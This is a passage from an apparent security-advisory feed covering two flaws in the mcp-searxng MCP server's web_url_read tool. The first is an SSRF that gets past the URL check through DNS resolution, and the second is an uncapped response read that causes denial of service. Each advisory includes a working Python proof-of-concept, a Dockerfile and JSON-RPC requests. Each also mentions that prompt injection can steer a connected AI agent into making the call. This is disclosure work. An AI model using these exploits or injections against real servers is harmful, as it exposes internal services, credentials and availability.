assertUrlAllowed(nextUrl);\n```\n\n### PoC\n\n**Prerequisites:**\n\n- Docker installed on the test machine.\n- The `mcp-searxng` repository cloned locally (version 1.6.0 \/ commit `90423e5`).\n\n**Build the container:**\n\n```bash\ndocker build -t mcp-searxng-ssrf-001 -f vuln-001\/Dockerfile .\n```\n\n**Run the PoC:**\n\n```bash\ndocker run --rm \\\n  --add-host ssrf-target.internal:127.0.0.1 \\\n  -v $(pwd)\/vuln-001\/poc.py:\/poc.py \\\n  mcp-searxng-ssrf-001 \\\n  python3 \/poc.py\n```\n\nThe `--add-host` flag maps `ssrf-target.internal` to `127.0.0.1` inside the container, simulating a DNS-resolved private hostname (equivalent to using a wildcard DNS service like `127.0.0.1.nip.io` in a real attack).\n\n**What the PoC does:**\n\n1. Starts a Python HTTP server on `127.0.0.1:9796` returning the sentinel value `INTERNAL-SECRET-OK-SSRF-PROOF`.\n2. Starts the MCP server in STDIO mode.\n3. **Test 1:** Sends a `tools\/call` request for `http:\/\/127.0.0.1:9796\/` \u2014 this is correctly **blocked** by `assertUrlAllowed()`.\n4. **Test 2:** Sends a `tools\/call` request for `http:\/\/ssrf-target.internal:9796\/` \u2014 this **bypasses** the check because the hostname is syntactically public, but resolves to `127.0.0.1` at fetch time.\n\n**Expected output (confirming SSRF):**\n\n```\n[+] BLOCKED  \u2014 assertUrlAllowed() correctly rejected 127.0.0.1\n[!!!] SSRF BYPASS CONFIRMED\n[!!!] Sentinel 'INTERNAL-SECRET-OK-SSRF-PROOF' found in MCP tool response\n    Raw tool response text: 'INTERNAL-SECRET-OK-SSRF-PROOF'\n    URL: http:\/\/ssrf-target.internal:9796\/ (resolves to 127.0.0.1 via \/etc\/hosts)\n    assertUrlAllowed() sees hostname='ssrf-target.internal' \u2192 passes string check\n    undiciFetch() resolves DNS \u2192 127.0.0.1 \u2192 reads internal service\n[RESULT] PASS\n```\n\nThe same bypass can be achieved in production using any public DNS wildcard service that resolves to a private IP (e.g., `http:\/\/127.0.0.1.nip.io:PORT\/`), or by controlling a custom DNS record.\n\n**MCP JSON-RPC request (STDIO mode):**\n\n```json\n{\"jsonrpc\":\"2.0\",\"id\":2,\"method\":\"tools\/call\",\"params\":{\"name\":\"web_url_read\",\"arguments\":{\"url\":\"http:\/\/ssrf-target.internal:9796\/\",\"maxLength\":200}}}\n```\n\n### Impact\n\nThis is a Server-Side Request Forgery (SSRF) vulnerability. An attacker who can send requests to the MCP server \u2014 or who can influence an AI agent connected to the server to call `web_url_read` with an attacker-controlled URL \u2014 can:\n\n- **Read internal HTTP services** reachable from the MCP server host (e.g., cloud metadata endpoints at `169.254.169.254`, internal APIs, admin dashboards, databases with HTTP interfaces).\n- **Exfiltrate sensitive data** such as cloud provider credentials, internal service tokens, or configuration secrets.\n- **Enumerate internal network topology** by probing responses from different internal hosts and ports.\n\nIn the default HTTP deployment configuration (`MCP_HTTP_HARDEN` unset), authentication is disabled (`requireAuth: false`), so any unauthenticated network client can exploit this vulnerability. In STDIO mode, exploitation requires the AI agent connected to the MCP server to be tricked into providing an attacker-controlled URL, which is feasible via prompt injection or malicious content fetched from the web.\n\nThe vulnerability has a CVSS v3.1 score of **7.1 (High)** and affects all users running `mcp-searxng` version 1.6.0 without setting `MCP_HTTP_ALLOW_PRIVATE_URLS=false` explicitly overriding to true (the insecure opt-in) or applying a patched version.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM node:20-slim\n\n# Install Python3 for the PoC script\nRUN apt-get update && apt-get install -y --no-install-recommends python3 && rm -rf \/var\/lib\/apt\/lists\/*\n\nWORKDIR \/app\n\n# Copy the entire repository\nCOPY . \/app\/\n\n# Install dependencies and compile TypeScript\nRUN npm ci && npm run build\n\n# Verify the build output exists\nRUN test -f dist\/index.js || (echo \"ERROR: dist\/index.js not found after build\" && exit 1)\n\n# Default: drop into a shell for manual inspection; overridden by docker run\nCMD [\"node\", \"dist\/index.js\"]\n```\n\n#### `poc.py`\n\n```python\n#!\/usr\/bin\/env python3\n\"\"\"\nPoC for VULN-001: DNS-resolved Private Hostname SSRF in web_url_read\nCWE-918 | CVSS 7.1\n\nThe assertUrlAllowed() function (src\/url-reader.ts:85-93) checks only the\nurl.hostname string against private IP\/hostname patterns without performing DNS\nresolution.  A hostname that is syntactically public but resolves to a private\nor loopback address at fetch time bypasses the check.\n\nAttack flow:\n  1. Attacker provides URL with a hostname that passes the string check.\n  2. assertUrlAllowed(parsedUrl) at line 313 passes (no DNS resolution).\n  3. undiciFetch() at line 367 resolves the hostname via OS DNS, gets 127.0.0.1,\n     and connects to the internal service.\n\nRequirements:\n  - Container must be started with --add-host ssrf-target.internal:127.0.0.1\n    so that the bypass hostname resolves to the loopback address via \/etc\/hosts.\n  - Node.js MCP server binary at \/app\/dist\/index.js\n\nUsage:\n  python3 poc.py\n  Exit 0 = PASS (bypass confirmed), non-zero = FAIL\n\"\"\"\n\nimport http.server\nimport json\nimport os\nimport queue\nimport subprocess\nimport sys\nimport threading\nimport time\n\n# \u2500\u2500 constants \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\nSENTINEL       = \"INTERNAL-SECRET-OK-SSRF-PROOF\"\nINTERNAL_PORT  = 9796\nBYPASS_HOST    = \"ssrf-target.internal\"   # \/etc\/hosts: 127.0.0.1 (via --add-host)\nMCP_BINARY     = \"\/app\/dist\/cli.js\"\nTIMEOUT_SEC    = 20\n\n\n# \u2500\u2500 internal HTTP server \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\nclass SentinelHandler(http.server.BaseHTTPRequestHandler):\n    \"\"\"Simulates an internal service that the SSRF attack reads.\"\"\"\n\n    def _send_sentinel(self, with_body=True):\n        body = (SENTINEL + \"\\n\").encode()\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"text\/plain\")\n        self.send_header(\"Content-Length\", str(len(body)))\n        self.end_headers()\n        if with_body:\n            self.wfile.write(body)\n\n    def do_GET(self):\n        self._send_sentinel(with_body=True)\n\n    def do_HEAD(self):\n        self._send_sentinel(with_body=False)\n\n    def log_message(self, fmt, *args):   # silence access log\n        pass\n\n\ndef start_internal_server():\n    server = http.server.HTTPServer((\"127.0.0.1\", INTERNAL_PORT), SentinelHandler)\n    threading.Thread(target=server.serve_forever, daemon=True).start()\n    print(f\"[+] Internal HTTP server listening on 127.0.0.1:{INTERNAL_PORT}\"\n          f'  -> sentinel: \"{SENTINEL}\"')\n    return server\n\n\n# \u2500\u2500 MCP communication helpers \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\ndef start_mcp_server():\n    \"\"\"Spawn the MCP server in STDIO mode.\"\"\"\n    env = os.environ.copy()\n    env.update({\n        \"NODE_ENV\": \"production\",\n        # SEARXNG_URL is intentionally unset; web_url_read does not need it.\n    })\n    proc = subprocess.Popen(\n        [\"node\", MCP_BINARY],\n        stdin=subprocess.PIPE,\n        stdout=subprocess.PIPE,\n        stderr=subprocess.PIPE,\n        env=env,\n    )\n    return proc\n\n\ndef drain_stderr(proc):\n    \"\"\"Drain stderr in a background thread to prevent blocking.\"\"\"\n    def _reader():\n        for _ in proc.stderr:\n            pass\n    threading.Thread(target=_reader, daemon=True).start()\n\n\ndef attach_stdout_reader(proc):\n    \"\"\"Return a queue that receives decoded JSON-RPC messages from stdout.\"\"\"\n    q = queue.Queue()\n\n    def _reader():\n        for raw in proc.stdout:\n            line = raw.strip()\n            if not line:\n                continue\n            try:\n                q.put(json.loads(line.decode()))\n            except json.JSONDecodeError:\n                pass   # skip non-JSON output\n\n    threading.Thread(target=_reader, daemon=True).start()\n    return q\n\n\ndef send_rpc(proc, method, params=None, rpc_id=None):\n    \"\"\"Write one JSON-RPC 2.0 message to the MCP server's stdin.\"\"\"\n    msg = {\"jsonrpc\": \"2.0\", \"method\": method}\n    if rpc_id is not None:\n        msg[\"id\"] = rpc_id\n    if params is not None:\n        msg[\"params\"] = params\n    proc.stdin.write((json.dumps(msg) + \"\\n\").encode())\n    proc.stdin.flush()\n\n\ndef expect_response(q, target_id, timeout=TIMEOUT_SEC):\n    \"\"\"Wait for a JSON-RPC response matching target_id.\"\"\"\n    deadline = time.time() + timeout\n    while time.time() < deadline:\n        try:\n            msg = q.get(timeout=1.0)\n            if msg.get(\"id\") == target_id:\n                return msg\n        except queue.Empty:\n            continue\n    return None\n\n\ndef initialize_mcp(proc, q):\n    \"\"\"Perform the MCP initialize \/ initialized handshake.\"\"\"\n    send_rpc(proc, \"initialize\", {\n        \"protocolVersion\": \"2024-11-05\",\n        \"capabilities\": {},\n        \"clientInfo\": {\"name\": \"ssrf-poc\", \"version\": \"1.0\"},\n    }, rpc_id=1)\n\n    resp = expect_response(q, target_id=1)\n    if resp is None or \"result\" not in resp:\n        raise RuntimeError(f\"MCP initialize timed out or failed: {resp}\")\n\n    proto = resp[\"result\"].get(\"protocolVersion\", \"?\")\n    print(f\"[+] MCP handshake complete (protocol={proto})\")\n\n    # Acknowledge initialization\n    send_rpc(proc, \"notifications\/initialized\")\n    time.sleep(0.15)\n\n\ndef call_url_read(proc, q, url, rpc_id):\n    \"\"\"Invoke the web_url_read tool and return the raw JSON-RPC response.\"\"\"\n    send_rpc(proc, \"tools\/call\", {\n        \"name\": \"web_url_read\",\n        \"arguments\": {\"url\": url, \"maxLength\": 600},\n    }, rpc_id=rpc_id)\n    return expect_response(q, target_id=rpc_id)\n\n\n# \u2500\u2500 result helpers \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\ndef extract_text(resp):\n    \"\"\"Return the text content from a tools\/call result, or None.\"\"\"\n    if resp is None:\n        return None\n    if \"error\" in resp:\n        return None\n    try:\n        return resp[\"result\"][\"content\"][0][\"text\"]\n    except (KeyError, IndexError, TypeError):\n        return None\n\n\ndef is_blocked(resp):\n    \"\"\"Return True when the response indicates a security-policy block.\"\"\"\n    if resp is None:\n        return False\n    # MCP SDK may surface tool errors as JSON-RPC errors OR as isError results\n    if \"error\" in resp:\n        return True\n    text = extract_text(resp) or \"\"\n    if resp.get(\"result\", {}).get(\"isError\"):\n        return True\n    if \"URLSecurityPolicy\" in text or \"not allowed\" in text.lower():\n        return True\n    return False\n\n\n# \u2500\u2500 main \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\ndef main():\n    print(\"=\" * 62)\n    print(\"VULN-001  DNS-resolved Private Hostname SSRF in web_url_read\")\n    print(\"=\" * 62)\n\n    # 1. Verify \/etc\/hosts entry is present\n    bypass_url = f\"http:\/\/{BYPASS_HOST}:{INTERNAL_PORT}\/\"\n    with open(\"\/etc\/hosts\") as f:\n        hosts_content = f.read()\n    if BYPASS_HOST not in hosts_content:\n        print(f\"[-] FATAL: '{BYPASS_HOST}' not in \/etc\/hosts.\")\n        print(\"    Re-run with: --add-host ssrf-target.internal:127.0.0.1\")\n        sys.exit(3)\n    print(f\"[+] \/etc\/hosts contains entry for {BYPASS_HOST}\")\n\n    # 2. Start internal HTTP service\n    start_internal_server()\n    time.sleep(0.2)\n\n    # 3. Start MCP server\n    print(f\"[*] Spawning MCP server: node {MCP_BINARY}\")\n    proc = start_mcp_server()\n    drain_stderr(proc)\n    msg_queue = attach_stdout_reader(proc)\n    time.sleep(1.2)   # allow server startup\n\n    if proc.poll() is not None:\n        print(f\"[-] MCP server exited early (rc={proc.returncode})\")\n        sys.exit(4)\n    print(f\"[+] MCP server running (PID={proc.pid})\")\n\n    try:\n        # 4. MCP handshake\n        print(\"[*] MCP initialize ...\")\n        initialize_mcp(proc, msg_queue)\n\n        # \u2500\u2500 Test 1: direct private IP should be BLOCKED \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n        blocked_target = f\"http:\/\/127.0.0.1:{INTERNAL_PORT}\/\"\n        print(f\"\\n[*] Test 1 \u2014 direct private IP (EXPECT: BLOCKED)\")\n        print(f\"    URL: {blocked_target}\")\n        resp1 = call_url_read(proc, msg_queue, blocked_target, rpc_id=2)\n        text1 = extract_text(resp1) or \"\"\n\n        if is_blocked(resp1):\n            print(f\"[+] BLOCKED  \u2014 assertUrlAllowed() correctly rejected 127.0.0.1\")\n        else:\n            print(f\"[!] WARNING \u2014 direct 127.0.0.1 was NOT blocked (text={text1[:120]})\")\n\n        # \u2500\u2500 Test 2: hostname bypass SHOULD succeed \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n        print(f\"\\n[*] Test 2 \u2014 hostname bypass (EXPECT: PASS \/ SSRF)\")\n        print(f\"    URL: {bypass_url}\")\n        print(f\"    assertUrlAllowed() sees hostname='{BYPASS_HOST}' \u2192 passes string check\")\n        print(f\"    undiciFetch() resolves DNS \u2192 127.0.0.1 \u2192 reads internal service\")\n        resp2 = call_url_read(proc, msg_queue, bypass_url, rpc_id=3)\n        text2 = extract_text(resp2) or \"\"\n\n        print(f\"\\n    Raw tool response text (first 400 chars):\")\n        print(f\"    {repr(text2[:400])}\")\n\n        if SENTINEL in text2:\n            print(f\"\\n[!!!] SSRF BYPASS CONFIRMED\")\n            print(f\"[!!!] Sentinel '{SENTINEL}' found in MCP tool response\")\n            print(f\"\\n[RESULT] PASS\")\n            sys.exit(0)\n        elif is_blocked(resp2):\n            print(f\"\\n[-] Bypass request was also BLOCKED (unexpected).\")\n            print(f\"    resp2={json.dumps(resp2)[:300]}\")\n            print(f\"\\n[RESULT] FAIL \u2014 bypass was blocked\")\n            sys.exit(1)\n        else:\n            print(f\"\\n[-] Response received but sentinel not found.\")\n            print(f\"    resp2={json.dumps(resp2)[:400]}\")\n            print(f\"\\n[RESULT] FAIL \u2014 unexpected response\")\n            sys.exit(1)\n\n    finally:\n        proc.terminate()\n\n\nif __name__ == \"__main__\":\n    main()\n```",
            "date_published": "2026-06-20T01:00:02+00:00",
            "date_modified": "2026-06-20T01:00:02+00:00",
            "authors": [{ "name": "VulnWatch" }],
            "tags": [  ]
        },
        {
            "id": "https://vulnwatch.ai/019ee28a-b902-7149-a618-eb713c4eed52",
            "title": " SearXNG MCP Server: Unbounded Response Body Read Bypasses URL Size Limit in `web_url_read`",
            "url": "https://github.com/advisories/GHSA-xcqx-9jf5-w339",
            "content_html": "## Unbounded Response Body Read Bypasses URL Size Limit in `web_url_read`\n\n### Summary\n\nThe `web_url_read` MCP tool in mcp-searxng enforces its 5 MiB response-size limit exclusively by inspecting the `Content-Length` header of a preliminary HEAD request. When a server omits `Content-Length` \u2014 a standard HTTP practice \u2014 `checkContentLength()` returns `null`, the guard condition short-circuits to `false`, and `response.text()` loads the entire response body into memory without any byte cap. An unauthenticated attacker who controls or can redirect to an HTTP endpoint can force the server process to consume unbounded memory and CPU, leading to a Denial of Service.\n\n### Details\n\n`web_url_read` is the entry point (`src\/index.ts:226-240`). It passes the caller-supplied URL directly into `readUrlContent()` in `src\/url-reader.ts`.\n\n**Size-limit check (bypassed)**\n\n```ts\n\/\/ src\/url-reader.ts:352-360\nconst contentLength = await checkContentLength(...);\nif (contentLength !== null && contentLength > maxContentLengthBytes) {\n  return createContentTooLargeMessage(contentLength, maxContentLengthBytes);\n}\n```\n\n`checkContentLength()` (`src\/url-reader.ts:243-245`) returns `null` when the HEAD response carries no `Content-Length` header. Because the guard uses the `!== null` conjunction, a `null` result causes the entire check to evaluate as `false`, and execution falls through without enforcing the configured 5 MiB ceiling.\n\n**Unbounded sinks**\n\nA full GET request is then issued (`src\/url-reader.ts:367`) with no streaming byte cap:\n\n```ts\n\/\/ src\/url-reader.ts:414  \u2014 normal response path\nhtmlContent = await response.text();\n\n\/\/ src\/url-reader.ts:402  \u2014 error response path (same issue)\nresponseBody = await response.text();\n```\n\nThe full HTML string is subsequently passed to `NodeHtmlMarkdown.translate()` (`src\/url-reader.ts:429`), which amplifies CPU consumption proportional to the body size.\n\n**Default exposure**\n\n`web_url_read` is enabled by default. In HTTP transport mode, authentication is disabled by default, so `AV:N\/PR:N` applies unconditionally. In stdio mode, an attacker can trigger the path via prompt injection to cause the AI model to call the tool with an attacker-controlled URL.\n\n### PoC\n\n**Prerequisites**\n\n- Docker installed.\n- Build context: the repository root (`npmAI_249_ihor-sokoliuk__mcp-searxng\/`).\n\n**Build the image**\n\n```bash\ndocker build \\\n  -t vuln002-test \\\n  -f vuln-002\/Dockerfile \\\n  reports\/npmAI_249_ihor-sokoliuk__mcp-searxng\/\n```\n\n**Run the PoC**\n\n```bash\ndocker run --rm vuln002-test\n```\n\nThe container starts two processes:\n1. A malicious HTTP server on `127.0.0.1:9799` that responds to HEAD with HTTP 200 and **no `Content-Length`**, then responds to GET with a 6,291,456-byte HTML body and **no `Content-Length`**.\n2. mcp-searxng in HTTP mode (`MCP_HTTP_ALLOW_PRIVATE_URLS=true` enables loopback URLs for local reproduction).\n\nThe PoC script initializes an MCP session and calls:\n\n```json\n{\n  \"method\": \"tools\/call\",\n  \"params\": {\n    \"name\": \"web_url_read\",\n    \"arguments\": { \"url\": \"http:\/\/127.0.0.1:9799\/\", \"maxLength\": 1 }\n  }\n}\n```\n\n**Observed output (Phase 2 confirmation)**\n\n```\nHEAD_REQUESTS              : 1\nGET_REQUESTS               : 1\nGET_BYTES_SENT             : 6,291,456\nCONFIGURED_DEFAULT_LIMIT   : 5,242,880\nBYTES_OVER_LIMIT           : +1,048,576\nELAPSED_SEC                : 0.17\nTOOL_STATUS                : SUCCESS\nRETURNED_LENGTH_CHARS      : 1\n\n[PASS] VULNERABILITY CONFIRMED\n  6,291,456 bytes were transmitted to mcp-searxng despite a 5,242,880-byte (5 MiB) limit.\n  Root cause confirmed:\n    1. HEAD response had no Content-Length header.\n    2. checkContentLength() returned null  (url-reader.ts:243-245)\n    3. Guard condition was false (null !== null => false) (url-reader.ts:359)\n    4. response.text() read 6,291,456 bytes without a cap (url-reader.ts:414)\n```\n\n**Remediation**\n\nReplace both `response.text()` calls with a streaming reader that aborts once the byte counter exceeds `maxContentLengthBytes`:\n\n```diff\n+async function readResponseTextWithLimit(response: Response, maxBytes: number): Promise {\n+  if (!response.body) return response.text();\n+  const reader = response.body.getReader();\n+  const decoder = new TextDecoder();\n+  const chunks: string[] = [];\n+  let total = 0;\n+  while (true) {\n+    const { done, value } = await reader.read();\n+    if (done) break;\n+    total += value.byteLength;\n+    if (total > maxBytes) { await reader.cancel(); return null; }\n+    chunks.push(decoder.decode(value, { stream: true }));\n+  }\n+  chunks.push(decoder.decode());\n+  return chunks.join(\"\");\n+}\n\n-        responseBody = await response.text();\n+        responseBody = await readResponseTextWithLimit(response, maxContentLengthBytes)\n+          ?? \"[Response body exceeded configured size limit]\";\n\n-      htmlContent = await response.text();\n+      const limitedBody = await readResponseTextWithLimit(response, maxContentLengthBytes);\n+      if (limitedBody === null) {\n+        return createContentTooLargeMessage(maxContentLengthBytes + 1, maxContentLengthBytes);\n+      }\n+      htmlContent = limitedBody;\n```\n\n### Impact\n\nThis is an **Uncontrolled Resource Consumption (DoS)** vulnerability. Any network-reachable attacker who can supply a URL to the `web_url_read` tool can force the mcp-searxng process to allocate memory proportional to an arbitrarily large HTTP response body and burn CPU during HTML-to-Markdown conversion. The attack requires no authentication in the default HTTP transport configuration. In stdio mode, the attack surface is accessible through prompt injection targeting the AI agent. Repeated or concurrent invocations can exhaust process memory and render the MCP server unavailable to all legitimate users.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM node:20-slim\n\n# Install Python3 for the PoC script\nRUN apt-get update && apt-get install -y --no-install-recommends python3 \\\n    && rm -rf \/var\/lib\/apt\/lists\/*\n\n# Copy repository source and build the vulnerable mcp-searxng\n# Build context: parent directory (npmAI_249_ihor-sokoliuk__mcp-searxng\/)\nWORKDIR \/app\nCOPY repo\/ \/app\/\nRUN npm ci && npm run build\n\n# Copy the PoC script\nCOPY vuln-002\/poc.py \/poc.py\n\n# Run the dynamic reproduction PoC\nCMD [\"python3\", \"-u\", \"\/poc.py\"]\n```\n\n#### `poc.py`\n\n```python\n#!\/usr\/bin\/env python3\n\"\"\"\nPoC for VULN-002: Unbounded Response Body Read Bypasses URL Size Limit (CWE-400)\n\nAffected: ihor-sokoliuk\/mcp-searxng v1.6.0\nFile:     src\/url-reader.ts:414 (response.text())\nCWE:      CWE-400 Uncontrolled Resource Consumption\nCVSS:     7.5 High (CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:N\/I:N\/A:H)\n\nRoot cause:\n  checkContentLength() at src\/url-reader.ts:243-245 returns null when the\n  server sends no Content-Length header.  The guard at line 359:\n      if (contentLength !== null && contentLength > maxContentLengthBytes)\n  evaluates to false (null !== null => false), so the check is skipped.\n  response.text() at line 414 then reads the full body without any byte cap.\n\nReproduction:\n  1. Malicious HTTP server (this process, port 9799):\n       HEAD => 200, Content-Type only, NO Content-Length\n       GET  => 200, 6+ MiB HTML body, NO Content-Length\n  2. mcp-searxng (subprocess, HTTP mode, port 3000):\n       MCP_HTTP_ALLOW_PRIVATE_URLS=true  -- allows 127.x for local PoC\n  3. This script initializes an MCP session, calls web_url_read pointing\n     at the malicious server, and measures actual bytes transmitted.\n\nExpected evidence:\n  GET_BYTES_SENT > CONFIGURED_DEFAULT_LIMIT (5242880)\n  => The 5 MiB guard was bypassed; full body was consumed without a cap.\n\"\"\"\n\nimport json\nimport os\nimport socket\nimport subprocess\nimport sys\nimport threading\nimport time\nimport urllib.error\nimport urllib.request\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\n# ---------------------------------------------------------------------------\n# Constants\n# ---------------------------------------------------------------------------\nDEFAULT_MAX_CONTENT_LENGTH = 5 * 1024 * 1024  # 5 MiB (same as src\/url-reader.ts)\nBODY_SIZE_BYTES = 6 * 1024 * 1024             # 6 MiB \u2014 exceeds the configured limit\nEVIL_PORT = 9799\nMCP_PORT  = 3000\n\n# ---------------------------------------------------------------------------\n# Shared state \u2014 updated by the malicious server thread\n# ---------------------------------------------------------------------------\ng_bytes_sent = 0\ng_head_count = 0\ng_get_count  = 0\n\n# ---------------------------------------------------------------------------\n# Malicious HTTP server\n# ---------------------------------------------------------------------------\nclass MaliciousHandler(BaseHTTPRequestHandler):\n    \"\"\"\n    Simulates an attacker-controlled HTTP server that:\n      - Returns 200 for HEAD with NO Content-Length (triggers null in checkContentLength)\n      - Returns 200 for GET with a 6 MiB body and NO Content-Length\n        (triggers unbounded response.text() read)\n    \"\"\"\n\n    # Use HTTP\/1.0 so the connection closes after the body \u2014 no Content-Length needed.\n    protocol_version = \"HTTP\/1.0\"\n\n    def log_message(self, fmt, *args):  # suppress default per-request logging\n        pass\n\n    def do_HEAD(self):\n        global g_head_count\n        g_head_count += 1\n        print(\n            f\"[EVIL-SERVER] HEAD #{g_head_count} from {self.address_string()}\"\n            \" \u2014 responding 200 with NO Content-Length (triggers null in checkContentLength)\",\n            flush=True,\n        )\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"text\/html; charset=utf-8\")\n        # Deliberately omitting Content-Length \u2014 this is the bypass trigger\n        self.end_headers()\n\n    def do_GET(self):\n        global g_get_count, g_bytes_sent\n        g_get_count += 1\n        print(\n            f\"[EVIL-SERVER] GET #{g_get_count} from {self.address_string()}\"\n            f\" \u2014 streaming {BODY_SIZE_BYTES:,} bytes with NO Content-Length\",\n            flush=True,\n        )\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"text\/html; charset=utf-8\")\n        # Deliberately NO Content-Length header\n        self.end_headers()\n\n        # Build a simple but large HTML body that exceeds DEFAULT_MAX_CONTENT_LENGTH.\n        # Simple structure keeps NodeHtmlMarkdown conversion fast.\n        header = b\"\"\n        footer = b\"\"\n        payload_char = b\"A\"\n        target = BODY_SIZE_BYTES - len(header) - len(footer)\n        chunk_size = 65536  # 64 KiB chunks\n        total = 0\n        try:\n            self.wfile.write(header)\n            total += len(header)\n            while total < BODY_SIZE_BYTES - len(footer):\n                chunk = payload_char * min(chunk_size, BODY_SIZE_BYTES - len(footer) - total)\n                self.wfile.write(chunk)\n                total += len(chunk)\n            self.wfile.write(footer)\n            total += len(footer)\n        except (BrokenPipeError, OSError):\n            pass  # client may close early on abort\n        g_bytes_sent = total\n        print(f\"[EVIL-SERVER] Done. Total bytes sent: {g_bytes_sent:,}\", flush=True)\n\n\ndef run_evil_server():\n    srv = HTTPServer((\"127.0.0.1\", EVIL_PORT), MaliciousHandler)\n    srv.serve_forever()\n\n\n# ---------------------------------------------------------------------------\n# Helpers\n# ---------------------------------------------------------------------------\ndef wait_for_port(host: str, port: int, timeout: float = 30) -> bool:\n    deadline = time.monotonic() + timeout\n    while time.monotonic() < deadline:\n        try:\n            with socket.create_connection((host, port), timeout=1):\n                return True\n        except (ConnectionRefusedError, OSError):\n            time.sleep(0.3)\n    return False\n\n\ndef http_post(url: str, payload: dict, session_id: str | None = None, timeout: float = 120) -> tuple[bytes, str, str | None]:\n    \"\"\"POST a JSON-RPC payload to the MCP HTTP endpoint. Returns (body, content_type, session_id).\"\"\"\n    headers = {\n        \"Content-Type\": \"application\/json\",\n        \"Accept\": \"application\/json, text\/event-stream\",\n    }\n    if session_id:\n        headers[\"mcp-session-id\"] = session_id\n\n    data = json.dumps(payload).encode()\n    req = urllib.request.Request(url, data=data, headers=headers, method=\"POST\")\n    with urllib.request.urlopen(req, timeout=timeout) as resp:\n        body = resp.read()\n        ct   = resp.headers.get(\"content-type\", \"\")\n        sid  = resp.headers.get(\"mcp-session-id\")\n        return body, ct, sid\n\n\ndef parse_mcp_response(body: bytes, content_type: str) -> dict | None:\n    \"\"\"Parse a JSON or SSE-wrapped JSON-RPC response.\"\"\"\n    if \"text\/event-stream\" in content_type:\n        for line in body.decode(errors=\"replace\").splitlines():\n            if line.startswith(\"data: \"):\n                try:\n                    return json.loads(line[6:])\n                except json.JSONDecodeError:\n                    continue\n        return None\n    try:\n        return json.loads(body)\n    except json.JSONDecodeError:\n        # Fallback: try SSE even if content-type says JSON\n        for line in body.decode(errors=\"replace\").splitlines():\n            if line.startswith(\"data: \"):\n                try:\n                    return json.loads(line[6:])\n                except json.JSONDecodeError:\n                    continue\n        return None\n\n\n# ---------------------------------------------------------------------------\n# Main PoC\n# ---------------------------------------------------------------------------\ndef main():\n    print(\"=\" * 72, flush=True)\n    print(\"VULN-002 PoC \u2014 Unbounded Response Body Read Bypasses URL Size Limit\", flush=True)\n    print(\"=\" * 72, flush=True)\n    print(f\"  DEFAULT_MAX_CONTENT_LENGTH_BYTES : {DEFAULT_MAX_CONTENT_LENGTH:,}\", flush=True)\n    print(f\"  EVIL_BODY_SIZE_BYTES             : {BODY_SIZE_BYTES:,}\", flush=True)\n    print(f\"  BYTES_OVER_LIMIT                 : +{BODY_SIZE_BYTES - DEFAULT_MAX_CONTENT_LENGTH:,}\", flush=True)\n    print(flush=True)\n\n    # ------------------------------------------------------------------\n    # Step 1: Start the malicious HTTP server\n    # ------------------------------------------------------------------\n    print(f\"[*] Starting malicious HTTP server on 127.0.0.1:{EVIL_PORT} ...\", flush=True)\n    evil_thread = threading.Thread(target=run_evil_server, daemon=True)\n    evil_thread.start()\n    if not wait_for_port(\"127.0.0.1\", EVIL_PORT, timeout=5):\n        print(\"[ERROR] Malicious server failed to start within 5 s\", flush=True)\n        sys.exit(1)\n    print(\"[+] Malicious server ready\", flush=True)\n\n    # ------------------------------------------------------------------\n    # Step 2: Start mcp-searxng in HTTP mode\n    # ------------------------------------------------------------------\n    print(f\"[*] Starting mcp-searxng HTTP server on 127.0.0.1:{MCP_PORT} ...\", flush=True)\n    env = {\n        **os.environ,\n        